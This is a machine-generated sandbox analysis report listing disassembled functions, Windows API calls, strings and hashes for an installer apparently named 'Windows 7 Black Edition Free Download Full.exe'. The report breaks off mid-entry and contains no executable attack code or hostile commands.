SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404D05
SendMessageA.USER32(?,00001102,00000410,?), ref: 00404DAE
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404DBD
InvalidateRect.USER32(?,00000000,00000001), ref: 00404DDD
ShowWindow.USER32(?,00000000), ref: 00404E2B
GetDlgItem.USER32(?,000003FE), ref: 00404E36
ShowWindow.USER32(00000000), ref: 00404E3D

Strings

, xrefs: 00404E15
N, xrefs: 00404AE7
M, xrefs: 00404A03

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: dede86c728acf6a11cc3ab5fbc78af527f28fbd96654b5baab0c469e43695f01
Instruction ID: 91af9d563adbb526dddc39620d8b288a2aea1bcbb5731436b9e02a5cfbe7d22d
Opcode Fuzzy Hash: dede86c728acf6a11cc3ab5fbc78af527f28fbd96654b5baab0c469e43695f01
Instruction Fuzzy Hash: AB029FB0E00209AFDB21DF54DD45AAE7BB5FB84315F10817AF610BA2E1C7799A42CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00405B88 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 197stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,Completed,00000000,00404F3C,Completed,00000000), ref: 00405C30
GetSystemDirectoryA.KERNEL32(00422E40,00000400), ref: 00405CAB
GetWindowsDirectoryA.KERNEL32(00422E40,00000400), ref: 00405CBE
SHGetSpecialFolderLocation.SHELL32(?,00000000), ref: 00405CFA
SHGetPathFromIDListA.SHELL32(00000000,00422E40), ref: 00405D08
CoTaskMemFree.OLE32(00000000), ref: 00405D13
lstrcatA.KERNEL32(00422E40,\Microsoft\Internet Explorer\Quick Launch), ref: 00405D35
lstrlenA.KERNEL32(00422E40,00000000,Completed,00000000,00404F3C,Completed,00000000), ref: 00405D87

Strings

@.B, xrefs: 00405BB1
Completed, xrefs: 00405BB9
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405C7A
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405D2F
@.B, xrefs: 00405D91

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: @.B$@.B$Completed$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1438857395
Opcode ID: 855ce943f005fc76d33ba75c1c33b75b466f9e158227b928842345586457093f
Instruction ID: 2bb53c71d9fe9ef1e56bc14ab20fd8486271744d1d3ead2cb2ad614034e11287
Opcode Fuzzy Hash: 855ce943f005fc76d33ba75c1c33b75b466f9e158227b928842345586457093f
Instruction Fuzzy Hash: D7510131A04A04AAEF205F64DC88B7B3BA4DF55324F14823BE911B62D0D33C59829E4E

Uniqueness

Uniqueness Score: -1.00%

Function 00404356 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 266stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004043A2
SetWindowTextA.USER32(?,?), ref: 004043CF
SHBrowseForFolderA.SHELL32(?,0041F870,?), ref: 00404484
CoTaskMemFree.OLE32(00000000), ref: 0040448F
lstrcmpiA.KERNEL32(00422E40,004204A0), ref: 004044C1
lstrcatA.KERNEL32(?,00422E40), ref: 004044CD
SetDlgItemTextA.USER32(?,000003FB,?), ref: 004044DD

Part of subcall function 0040540B: GetDlgItemTextA.USER32(?,?,00000400,00404510), ref: 0040541E

Part of subcall function 00405DC8: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E20
Part of subcall function 00405DC8: CharNextA.USER32(?,?,?,00000000), ref: 00405E2D
Part of subcall function 00405DC8: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E32
Part of subcall function 00405DC8: CharPrevA.USER32(?,?,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E42

GetDiskFreeSpaceA.KERNEL32(0041F468,?,?,0000040F,?,0041F468,0041F468,?,00000000,0041F468,?,?,000003FB,?), ref: 00404596
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004045B1
SetDlgItemTextA.USER32(00000000,00000400,0041F458), ref: 0040462A

Strings

@.B, xrefs: 004044BB
A, xrefs: 0040447D

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: @.B$A
API String ID: 2246997448-1561443927
Opcode ID: 6525314df4a180c9e7b66623ed26d8b7b6bbf618626a18de822d55977fdbc2f3
Instruction ID: fa341535892c43c3a67d7fcafb17cb6574160925603278dae289bcadb551eaae
Opcode Fuzzy Hash: 6525314df4a180c9e7b66623ed26d8b7b6bbf618626a18de822d55977fdbc2f3
Instruction Fuzzy Hash: 2D9170B1900218BBDB11AFA1CD84AAF7BB8EF45314F10847BF704B6291D77C9A41DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00402020 Relevance: 3.1, APIs: 2, Instructions: 134comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407384,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402073
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,00409368,00000400,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040212D

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 20f8b56c3263d051d76756f701b26ac218ff209cd135641c8178b13e20f06e8d
Instruction ID: 0b92ce9401c32f92a97655b67b17bc3e2e7042a2ba93bb40bff56c30807ccd12
Opcode Fuzzy Hash: 20f8b56c3263d051d76756f701b26ac218ff209cd135641c8178b13e20f06e8d
Instruction Fuzzy Hash: 94418E75A00205BFCB40DFA4CD88E9E7BBABF48354B204269FA15FB2D1CA799D41CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040263E Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 0040264D

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: fec3e59c21f88b2afe0d858e3cd58f666a30441cfee8bf2827fa80150cba7d73
Instruction ID: b3d2387cb92b068db8966d6a1439c3c253679041c8135bb289436d91baf53d0e
Opcode Fuzzy Hash: fec3e59c21f88b2afe0d858e3cd58f666a30441cfee8bf2827fa80150cba7d73
Instruction Fuzzy Hash: 42F0A072A04201DBD700EBB49A89AEEB7789B51328F60067BE111F20C1C6B85A459B2E

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,?), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,Windows 7 Black Edition Free Download Full.exe,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C
Windows 7 Black Edition Free Download Full.exe, xrefs: 00401150

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$Windows 7 Black Edition Free Download Full.exe
API String ID: 941294808-3930610007
Opcode ID: 1fa3053a276be56ef7da5d68adfba1d9971bfb9fa2beb597bf2db4fb963a824d
Instruction ID: 81477e3a2fde3fb3f26aa953fc06e347994717d76cab2c79682594c458f31f57
Opcode Fuzzy Hash: 1fa3053a276be56ef7da5d68adfba1d9971bfb9fa2beb597bf2db4fb963a824d
Instruction Fuzzy Hash: 8141BC71804249AFCB058FA4CD459BFBFB9FF44314F00802AF551AA1A0C378EA54DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004058B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144filememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00405E88: GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
Part of subcall function 00405E88: LoadLibraryA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405EA5
Part of subcall function 00405E88: GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6

CloseHandle.KERNEL32(00000000,?,00000000,00000001,00000001,?,00000000,?,?,00405649,?,00000000,000000F1,?), ref: 00405901
GetShortPathNameA.KERNEL32(?,00422630,00000400), ref: 0040590A
GetShortPathNameA.KERNEL32(00000000,004220A8,00000400), ref: 00405927
wsprintfA.USER32 ref: 00405945
GetFileSize.KERNEL32(00000000,00000000,004220A8,C0000000,00000004,004220A8,?,?,?,00000000,000000F1,?), ref: 00405980
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,00000000,000000F1,?), ref: 0040598F
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000000,000000F1,?), ref: 004059A5
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00421CA8,00000000,-0000000A,00409350,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004059EB
WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,000000F1,?), ref: 004059FD
GlobalFree.KERNEL32(00000000), ref: 00405A04
CloseHandle.KERNEL32(00000000,?,?,00000000,000000F1,?), ref: 00405A0B

Part of subcall function 004057B2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057B9
Part of subcall function 004057B2: lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057E9

Strings

%s=%s, xrefs: 0040593B
[Rename], xrefs: 004059B5, 004059C7
0&B, xrefs: 004058EF

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: File$Handle$CloseGlobalNamePathShortlstrlen$AddressAllocFreeLibraryLoadModulePointerProcReadSizeWritewsprintf
String ID: %s=%s$0&B$[Rename]
API String ID: 3772915668-951905037
Opcode ID: 0c179fa3417d280b53e5d95a4378c92fb06f2b6e7dc6de3d5fc3f6893b1dd3a2
Instruction ID: 8912a0e40cac8f66f34925055924fb713260e7a12edb00ecfb1cfbef244c1689
Opcode Fuzzy Hash: 0c179fa3417d280b53e5d95a4378c92fb06f2b6e7dc6de3d5fc3f6893b1dd3a2
Instruction Fuzzy Hash: D9411332B05B11BBD3216B61AD88F6B3A5CDB84715F140136FE05F22C2E678A801CEBD

Uniqueness

Uniqueness Score: -1.00%

Function 00405DC8 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E20
CharNextA.USER32(?,?,?,00000000), ref: 00405E2D
CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E32
CharPrevA.USER32(?,?,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E42

Strings

"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe", xrefs: 00405DCE
*?|<>/":, xrefs: 00405E10
C:\Users\user\AppData\Local\Temp\, xrefs: 00405DC9, 00405E04

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3285273485
Opcode ID: d60fa47d96b079028a76cfcdb2d30976ede71f36b1f4f1e1bc9c50cb25bd2be5
Instruction ID: 3b6179abbfe29fc78842bf11aa846075366cc437f950451d76d565b88bc2b460
Opcode Fuzzy Hash: d60fa47d96b079028a76cfcdb2d30976ede71f36b1f4f1e1bc9c50cb25bd2be5
Instruction Fuzzy Hash: A0110861805B9129EB3227284C48BBB7F89CF66754F18447FD8C4722C2C67C5D429FAD

Uniqueness

Uniqueness Score: -1.00%

Function 00403F7F Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403F9C
GetSysColor.USER32(00000000), ref: 00403FB8
SetTextColor.GDI32(?,00000000), ref: 00403FC4
SetBkMode.GDI32(?,?), ref: 00403FD0
GetSysColor.USER32(?), ref: 00403FE3
SetBkColor.GDI32(?,?), ref: 00403FF3
DeleteObject.GDI32(?), ref: 0040400D
CreateBrushIndirect.GDI32(?), ref: 00404017

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction ID: 4cc26f8bf5fc777f430f8318c3ba194748f169832e683f7fcd21add738ba3f9d
Opcode Fuzzy Hash: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction Fuzzy Hash: C221C371904705ABCB209F78DD08B4BBBF8AF40711F048A29F992F26E0C738E904CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040267C Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,0000B600,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 004026D0
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,000000F0), ref: 004026EC
GlobalFree.KERNEL32(?), ref: 00402725
WriteFile.KERNEL32(FFFFFD66,00000000,?,FFFFFD66,?,?,?,?,000000F0), ref: 00402737
GlobalFree.KERNEL32(00000000), ref: 0040273E
CloseHandle.KERNEL32(FFFFFD66,?,?,000000F0), ref: 00402756
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 0040276A

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: b8defe13902d58a52973a2e3f60156d7c1400e5746f24ef4cd0721e59596b3c4
Instruction ID: 719c612f4f238206e278f6e296a81204df483451b361404a9b6a09c3536a307a
Opcode Fuzzy Hash: b8defe13902d58a52973a2e3f60156d7c1400e5746f24ef4cd0721e59596b3c4
Instruction Fuzzy Hash: F831AD71C00128BBDF216FA4CD89DAE7E79EF08364F10423AF920772E0C6795D419BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402BD3 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402BEB
GetTickCount.KERNEL32 ref: 00402C09
wsprintfA.USER32 ref: 00402C37

Part of subcall function 00404F04: lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
Part of subcall function 00404F04: lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
Part of subcall function 00404F04: SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
Part of subcall function 00404F04: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F98
Part of subcall function 00404F04: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FB2
Part of subcall function 00404F04: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FC0

CreateDialogParamA.USER32(0000006F,00000000,00402B3B,00000000), ref: 00402C5B
ShowWindow.USER32(00000000,00000005), ref: 00402C69

Part of subcall function 00402BB7: MulDiv.KERNEL32(00364576,00000064,00365E9F), ref: 00402BCC

Strings

... %d%%, xrefs: 00402C31

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 17bdaf27663d9d1b2b81c0b918eaf4f945a095ba4556a5c22c1c6286d7ec1668
Instruction ID: c44cf6bb529b7c61e0c77009ed50883557557090b8ffabf6f859222ef57aaf40
Opcode Fuzzy Hash: 17bdaf27663d9d1b2b81c0b918eaf4f945a095ba4556a5c22c1c6286d7ec1668
Instruction Fuzzy Hash: C6016170949210EBD7215F61EE4DA9F7B78AB04701B14403BF502B11E5C6BC9A01CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 004047D3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 004047EE
GetMessagePos.USER32 ref: 004047F6
ScreenToClient.USER32(?,?), ref: 00404810
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404822
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404848

Strings

f, xrefs: 00404824

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction ID: 01d6173a61c3c3b4b037133c9a52f1e04ee3049876a8ff08b59bebc5d15cf036
Opcode Fuzzy Hash: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction Fuzzy Hash: BA018075D40218BADB00DB94CC41BFEBBBCAB55711F10412ABB00B61C0C3B46501CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00402B3B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B56
wsprintfA.USER32 ref: 00402B8A
SetWindowTextA.USER32(?,?), ref: 00402B9A
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BAC

Strings

unpacking data: %d%%, xrefs: 00402B78, 00402B88
verifying installer: %d%%, xrefs: 00402B7F

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
